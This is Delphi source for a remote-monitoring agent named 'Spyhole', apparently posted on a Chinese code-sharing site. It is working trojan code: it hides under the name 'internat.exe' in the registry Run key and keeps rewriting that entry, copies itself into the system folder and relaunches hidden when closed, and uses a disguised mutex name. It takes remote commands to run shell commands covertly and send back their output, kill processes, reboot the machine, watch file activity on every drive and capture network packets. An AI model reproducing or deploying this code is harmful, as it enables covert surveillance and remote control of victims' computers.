Main.pas
上传用户:rickyhu
上传日期:2007-05-27
资源大小:842k
文件大小:12k
源码类别:

控制台编程

开发平台:

Delphi

  1. ////////////////////////////////////////////////////////////////////////////////
  2. //
  3. // 2004 (C) Copyrights Reserved
  4. // Author:Aureala
  5. //
  6. ////////////////////////////////////////////////////////////////////////////////
  7. unit Main;
  8. interface
  9. uses
  10.   Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
  11.   Dialogs, IdTCPServer, IdBaseComponent, IdComponent, IdTCPConnection,
  12.   IdTCPClient, IdAntiFreezeBase, IdAntiFreeze, IdServerIOHandler,
  13.   IdServerIOHandlerSocket, IdIOHandler, IdIOHandlerSocket, IdIntercept,
  14.   IdThreadMgr, IdThreadMgrDefault, ExtCtrls, TlHelp32, ShellApi, Jpeg, StdCtrls,
  15.   CapIp, DirMon, ProcessNotify, CpuUsage, SysTools, Registry;
  16.   
  17. const
  18.   BYTES_SEND=2048;
  19.   DISK='CDEFGHIJKLMNOPQRSTUVWXYZ';
  20. type
  21.   TMainForm = class;
  22.   TSenderThread = class(TThread)
  23.   private
  24.     MainForm: TMainForm;
  25.     StrMessage: String;
  26.   protected
  27.     procedure Execute();override;
  28.   public
  29.     constructor Create(TheForm:TMainForm);reintroduce;
  30.     procedure Send(StrMsg:String);
  31.   end;
  32.   
  33.   TMainForm = class(TForm)
  34.     TCPSender: TIdTCPClient;
  35.     TCPReceiver: TIdTCPServer;
  36.     IdConnectionIntercept1: TIdConnectionIntercept;
  37.     IdIOHandlerSocket1: TIdIOHandlerSocket;
  38.     IdServerIOHandlerSocket1: TIdServerIOHandlerSocket;
  39.     IdAntiFreeze1: TIdAntiFreeze;
  40.     IdThreadMgrDefault1: TIdThreadMgrDefault;
  41.     SaveRegTimer: TTimer;
  42.     procedure FormCreate(Sender: TObject);
  43.     procedure FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  44.     procedure TCPReceiverConnect(AThread: TIdPeerThread);
  45.     procedure TCPReceiverDisconnect(AThread: TIdPeerThread);
  46.     procedure TCPReceiverExecute(AThread: TIdPeerThread);
  47.     procedure StartProcMon();               //启动进程监视
  48.     procedure StartFileMon();               //启动文件操作监视
  49.     procedure StartCpuMon();                //启动CPU监视
  50.     procedure StartMemMon();                //启动内存监视
  51.     procedure StartNetMon();                //启动网络监视
  52.     procedure StopProcMon();                //关闭进程监视
  53.     procedure StopFileMon();                //关闭文件操作监视
  54.     procedure StopCpuMon();                 //关闭CPU监视
  55.     procedure StopMemMon();                 //关闭内存监视
  56.     procedure StopNetMon();                 //关闭网络监视
  57.     procedure ExecuteShell(StrCmd:String);  //执行命令
  58.     procedure ExitSpyhole();                //卸载监视器
  59.     procedure SaveRegTimerTimer(Sender: TObject);                
  60.   private
  61.     CanTerminate:Boolean;
  62.     SenderThread:TSenderThread;
  63.   public
  64.     { Public declarations }
  65.   end;
  66. var
  67.   MainForm: TMainForm;
  68.   MonThreadId:TIdPeerThread;
  69.   ///////////////////////////////
  70.   NetPackage:TCapIp;
  71.   FileMon:array[0..22] of TDirMon;
  72.   ProcMon:TProcessNotify;
  73.   ///////////////////////////////
  74.   Interval:Integer;
  75.   IsCpuMon:Boolean;
  76.   IsMemMon:Boolean;
  77.   ///////////////////////////////
  78. implementation
  79. var
  80.   hnd:THandle;
  81. {$R *.dfm}
  82. procedure TMainForm.FormCreate(Sender: TObject);
  83. var
  84.   Reg:TRegistry;
  85. begin
  86.   CanTerminate:=false;
  87.   Interval:=100;
  88.   MonThreadId:=nil;
  89.   Reg:=TRegistry.Create;
  90.   Reg.RootKey:=HKEY_LOCAL_MACHINE;
  91.   if(Reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',true)) then
  92.   begin
  93.     Reg.WriteString('internat.exe',Application.ExeName);
  94.     Reg.CloseKey;
  95.   end;
  96.   Reg.Free;
  97.   SenderThread:=TSenderThread.Create(Self);
  98. end;
  99. procedure TMainForm.FormCloseQuery(Sender: TObject; var CanClose: Boolean);
  100. var
  101.   Reg:TRegistry;
  102.   OldName,NewName,SysPath:array [0..(MAX_PATH-1)] of Char;
  103. begin
  104.   CanClose:=false;
  105.   GetSystemDirectory(SysPath,MAX_PATH);
  106.   GetTempFileName(SysPath,'',0,NewName);
  107.   StrPcopy(OldName,Application.ExeName);
  108.   StrPcopy(NewName,NewName+'.exe');
  109.   CopyFile(OldName,NewName,false);
  110.   DeleteFile(OldName);
  111.   Reg:=TRegistry.Create;
  112.   Reg.RootKey:=HKEY_LOCAL_MACHINE;
  113.   if(Reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',true)) then
  114.   begin
  115.     Reg.WriteString('internat.exe',NewName);
  116.     Reg.CloseKey;
  117.   end;
  118.   Reg.Free;
  119.   if(Win32Platform <> VER_PLATFORM_WIN32_NT) then
  120.     WinExec(PAnsiChar('command /c '+NewName),SW_HIDE)
  121.   else
  122.     WinExec(PAnsiChar('cmd /c '+NewName),SW_HIDE);
  123. end;
  124. procedure TMainForm.TCPReceiverConnect(AThread: TIdPeerThread);
  125. begin
  126.   ;
  127. end;
  128. procedure TMainForm.TCPReceiverDisconnect(AThread: TIdPeerThread);
  129. begin
  130.   ;
  131. end;
  132. procedure TMainForm.TCPReceiverExecute(AThread: TIdPeerThread);
  133. var
  134.   StrReceived:String;
  135.   StrMsg:TStrings;
  136.   CmdId:Integer;
  137. begin
  138.   try
  139.     StrReceived:=AThread.Connection.ReadLn(#10#10);
  140.     StrReceived:=Trim(StrReceived);
  141.     StrMsg:=TStringList.Create;
  142.     StrMsg.AddStrings(ExtractStr(StrReceived,'|'));
  143.     CmdId:=StrToInt('$'+StrMsg[0]);
  144.     MonThreadId:=AThread;
  145.     case CmdId of
  146.     $0: //CONNECT START,服务探测,连接到探测器
  147.       begin
  148.         TCPSender.Host:=AThread.Connection.Socket.Binding.PeerIP;
  149.         TCPSender.Port:=StrToInt(StrMsg[1]);
  150.         TCPSender.Connect();
  151.         if(TCPSender.Connected=false) then
  152.         begin
  153.           exit;
  154.         end;
  155.         if(SenderThread.Terminated) then
  156.           SenderThread.Execute
  157.         else if(SenderThread.Suspended) then
  158.           SenderThread.Resume;
  159.       end;
  160.     $4://END,终止所有监视
  161.       begin
  162.         StopProcMon();
  163.         StopFileMon();
  164.         StopCpuMon();
  165.         StopMemMon();
  166.         StopNetMon();
  167.       end;
  168.     $6://RESTART OS,重启计算机
  169.       begin
  170.         RebootMachine();
  171.       end;
  172.     $7://SHUTDOWN OS,关闭计算机
  173.       begin
  174.         ShutDownMachine();
  175.       end;
  176.     $8://LOG OUT,注销
  177.       begin
  178.         Logout();
  179.       end;
  180.     $20://START PROC,启动进程监视
  181.       begin
  182.         StartProcMon();
  183.       end;
  184.     $21://END PROC,终止进程监视
  185.       begin
  186.         StopProcMon();
  187.       end;
  188.     $22://LIST PROCESSES,列出所有进程
  189.       begin
  190.         TCPSender.WriteLn(TimeInfo()+'|'+ListProcesses()+#10#10);
  191.       end;
  192.     $23://KILL PROCESS,关闭进程号为ID的进程
  193.       begin
  194.         if(KillProcess(StrToInt64('$'+StrMsg[1]))) then
  195.         begin
  196.           TCPSender.WriteLn(TimeInfo()+'|23|0'+#10#10);
  197.         end
  198.         else
  199.         begin
  200.           TCPSender.WriteLn(TimeInfo()+'|23|1'+#10#10);
  201.         end;
  202.       end;
  203.     $30://START FILE,启动文件监视
  204.       begin
  205.         StartFileMon();
  206.       end;
  207.     $31://END FILE,终止文件监视
  208.       begin
  209.         StopFileMon();
  210.       end;
  211.    $40://START MEM [T],启动内存监视,每隔T秒检测一次
  212.       begin
  213.         if(StrToInt(StrMsg[1])<0) then
  214.           Interval:=100
  215.         else
  216.           Interval:=StrToInt(StrMsg[1])*10;
  217.         StartMemMon();
  218.       end;
  219.     $41://END MEM,终止内存监视
  220.       begin
  221.         StopMemMon();
  222.       end;
  223.     $50://START CPU [T],启动CPU监视,每隔T秒检测一次
  224.       begin
  225.         if(StrToInt(StrMsg[1])<0) then
  226.           Interval:=100
  227.         else
  228.           Interval:=StrToInt(StrMsg[1])*10;
  229.         StartCpuMon();
  230.       end;
  231.     $51://END COU,终止CPU监视
  232.       begin
  233.         StopCpuMon();
  234.       end;
  235.     $80://START NET PACKAGE,启动网络数据包监视
  236.       begin
  237.         StartNetMon();
  238.       end;
  239.     $81://END NET PACKAGE,停止网络数据包监视
  240.       begin
  241.         StopNetMon();
  242.       end;
  243.     $A0://SHELLEXEC,执行命令
  244.       begin
  245.         ExecuteShell(StrMsg[1]);
  246.       end;
  247.     $B0://MSG,监控器发送的消息
  248.       begin
  249.         MessageBox(Handle,PAnsiChar(StrMsg[1]),'新信息',0);
  250.       end;
  251.     else
  252.       ;
  253.     end;
  254.   except
  255.     ;
  256.   end;
  257. end;
  258. procedure TMainForm.StartProcMon();
  259. begin
  260.   if(not Assigned(ProcMon)) then
  261.   begin
  262.     ProcMon:=TProcessNotify.Create(MainForm);
  263.     ProcMon.AsyncNotify:=true;
  264.     ProcMon.OnProcessCreated:=SenderThread.Send;
  265.     ProcMon.OnProcessTerminated:=SenderThread.Send;
  266.   end;
  267.   ProcMon.Enabled:=true;
  268. end;
  269. procedure TMainForm.StartFileMon();
  270. var
  271.    N:Integer;
  272. begin
  273.   for N:=1 to 24 do
  274.   begin
  275.     if(not DirectoryExists(DISK[N]+':')) then
  276.     begin
  277.       exit;
  278.     end;
  279.     if(not Assigned(FileMon[N])) then
  280.     begin
  281.       FileMon[N]:=TDirMon.Create(MainForm);
  282.       FileMon[N].Path:=DISK[N]+':';
  283.       FileMon[N].WatchSubtree:=true;
  284.       FileMon[N].WatchFilters:=[nfFILE_NAME,
  285.                   nfDIR_NAME,
  286.                   nfATTRIBUTES,
  287.                   nfSIZE,
  288.                   nfLAST_WRITE,
  289.                   nfLAST_ACCESS,
  290.                   nfCREATION,
  291.                   nfSECURITY];
  292.       FileMon[N].OnCreated:=SenderThread.Send;
  293.       FileMon[N].OnDeleted:=SenderThread.Send;
  294.       FileMon[N].OnModified:=SenderThread.Send;
  295.       FileMon[N].OnRenamed:=SenderThread.Send;
  296.     end;
  297.     FileMon[N].Active:=true;
  298.   end;
  299. end;
  300. procedure TMainForm.StartCpuMon();
  301. begin
  302.   IsCpuMon:=true;
  303. end;
  304. procedure TMainForm.StartMemMon();
  305. begin
  306.   IsMemMon:=true;
  307. end;
  308. procedure TMainForm.StartNetMon();
  309. begin
  310.   if(not Assigned(NetPackage)) then
  311.   begin
  312.     NetPackage:=TCapIp.Create();
  313.     NetPackage.OnCap:=SenderThread.Send;
  314.   end;
  315.   NetPackage.StartCap;
  316. end;
  317. procedure TMainForm.StopProcMon();
  318. begin
  319.   if(Assigned(ProcMon)) then
  320.     ProcMon.Destroy;
  321. end;
  322. procedure TMainForm.StopFileMon();
  323. var
  324.   N:Integer;
  325. begin
  326.   for N:=0 to 22 do
  327.   begin
  328.     if(Assigned(FileMon[N])) then
  329.     begin
  330.       FileMon[N].Destroy;
  331.     end
  332.     else
  333.       exit;
  334.   end;
  335. end;
  336. procedure TMainForm.StopCpuMon();
  337. begin
  338.   IsCpuMon:=false;
  339. end;
  340. procedure TMainForm.StopMemMon();
  341. begin
  342.   IsMemMon:=false;
  343. end;
  344. procedure TMainForm.StopNetMon();
  345. begin
  346.   if(Assigned(NetPackage)) then
  347.     NetPackage.Destroy;
  348. end;
  349. procedure TMainForm.ExecuteShell(StrCmd:String);
  350. var
  351.   StrTmp:PChar;
  352.   TmpPathName:array [0..MAX_PATH] of Char;
  353.   TmpFileName:array [0..255] of Char;
  354.   ExecRes:Cardinal;
  355.   TmpFile:TextFile;
  356.   Buf:String;
  357. begin
  358.   if(StrCmd='') then
  359.   begin
  360.     TCPSender.WriteLn('a'+ExtractFilePath(ParamStr(0)));
  361.     exit;
  362.   end;
  363.   GetTempPath(Sizeof(TmpPathName),TmpPathName);
  364.   GetTempFileName(TmpPathName,'',0,TmpFileName);
  365.   if Win32Platform <> VER_PLATFORM_WIN32_NT then
  366.     StrTmp:='command'
  367.   else
  368.     StrTmp:='cmd';
  369.   StrTmp:=PAnsiChar(StrTmp+' /c " '+StrCmd+' >'+TmpFileName+'"');
  370.   ExecRes:=WinExec(StrTmp,SW_HIDE);
  371.   if(ExecRes>31) then
  372.   begin
  373.     Sleep(600);
  374.     AssignFile(TmpFile,TmpFileName);
  375.     Reset(TmpFile);
  376.     SenderThread.Suspend;
  377.     while(not Eof(TmpFile)) do
  378.     begin
  379.       try
  380.         ReadLn(TmpFile,Buf);
  381.         TCPSender.WriteLn('a'+Buf+#10#10);
  382.       except
  383.         ;
  384.       end;
  385.     end;
  386.     SenderThread.Resume;
  387.     CloseFile(TmpFile);
  388.     DeleteFile(TmpFileName);
  389.   end
  390.   else
  391.   begin
  392.     TCPSender.WriteLn('a执行命令错误,可能是操作系统不支持或者你的命令格式不正确。'
  393.       +#10#10);
  394.   end;
  395. end;
  396. procedure TMainForm.ExitSpyhole();
  397. begin
  398.   TCPSender.Disconnect;
  399.   TCPReceiver.Active:=false;
  400. end;
  401. constructor TSenderThread.Create(TheForm:TMainForm);
  402. begin
  403.   MainForm:=TheForm;
  404.   inherited Create(false);
  405.   IsCpuMon:=false;
  406.   IsMemMon:=false;
  407. end;
  408. procedure TSenderThread.Execute();
  409. var
  410.   TMS:TMemoryStatus;
  411.   StrInfo:String;
  412.   N:Integer;
  413. begin
  414.   N:=0;
  415.   while not Terminated do
  416.   begin
  417.     try
  418.       N:=N+1;
  419.       if(N>=Interval) then
  420.       begin
  421.         if(IsCpuMon) then
  422.         begin
  423.           CollectCpuData;
  424.           StrInfo:=TimeInfo()+'|5|'
  425.             +IntToStr(Round(GetCpuUsage(0)*100));
  426.           MainForm.TCPSender.WriteLn(StrInfo+#10#10);
  427.         end;
  428.         if(IsMemMon) then
  429.         begin
  430.           GlobalMemoryStatus(TMS);
  431.           StrInfo:=TimeInfo()+'|4|'
  432.             +IntToStr(TMS.dwMemoryLoad)+'|'+IntToStr(TMS.dwAvailPhys div 1048576);
  433.           MainForm.TCPSender.WriteLn(StrInfo+#10#10);
  434.         end;
  435.         N:=0;
  436.       end;
  437.       if(MainForm.TCPSender.Connected) and (StrMessage<>'') then
  438.       begin
  439.         MainForm.TCPSender.WriteLn(StrMessage+#10#10);
  440.         StrMessage:='';
  441.       end
  442.       else
  443.       begin
  444.         Sleep(100);
  445.       end;
  446.     except
  447.       Sleep(100);
  448.     end;
  449.   end;
  450. end;
  451. procedure TSenderThread.Send(StrMsg:String);
  452. begin
  453.   StrMessage:=TimeInfo()+'|'+StrMsg;
  454. end;
  455. procedure TMainForm.SaveRegTimerTimer(Sender: TObject);
  456. var
  457.   Reg:TRegistry;
  458. begin
  459.   Reg:=TRegistry.Create;
  460.   Reg.RootKey:=HKEY_LOCAL_MACHINE;
  461.   if(Reg.OpenKey('SOFTWAREMicrosoftWindowsCurrentVersionRun',true)) then
  462.   begin
  463.     Reg.WriteString('internat.exe',Application.ExeName);
  464.     Reg.CloseKey;
  465.   end;
  466.   Reg.Free;
  467. end;
  468. initialization
  469.   hnd:=CreateMutex(nil,True,'sys32ws kernl extream');
  470.   if(GetLastError=ERROR_ALREADY_EXISTS) then
  471.   begin
  472.     Halt;
  473.   end;
  474. finalization
  475.   if(hnd<>0) then
  476.     CloseHandle(hnd);
  477. end.